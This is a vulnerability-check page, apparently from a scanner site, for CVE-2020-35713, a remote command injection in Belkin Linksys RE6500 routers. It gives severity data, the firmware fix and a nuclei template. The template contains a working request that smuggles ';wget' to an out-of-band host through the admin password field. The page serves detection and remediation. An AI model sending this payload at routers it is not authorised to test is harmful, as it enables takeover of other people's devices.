Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution

criticalseverity

9.8CVSS score

32.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.

Fix

Update the Belkin Linksys RE6500 firmware to version 1.0.012.001 or later.

How to confirm it

Send: POST /goform/setSysAdm
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-35713 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-35713

info:
  name: Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution
  author: gy741
  severity: critical
  description: Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Update the Belkin Linksys RE6500 firmware to version 1.0.012.001 or later.
  reference:
    - https://downloads.linksys.com/support/assets/releasenotes/ExternalReleaseNotes_RE6500_1.0.012.001.txt
    - https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35713
    - https://bugcrowd.com/disclosures/72d7246b-f77f-4f7f-9bd1-fdc35663cc92/linksys-re6500-unauthenticated-rce-working-across-multiple-fw-versions
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35713
    cwe-id: CWE-78
    epss-score: 0.32936
    epss-percentile: 0.9837
    cpe: cpe:2.3:o:linksys:re6500_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: linksys
    product: re6500_firmware
  tags: cve,cve2020,linksys,rce,oast,router,vkev,vuln

http:
  - raw:
      - |
        POST /goform/setSysAdm HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/login.shtml

        admuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from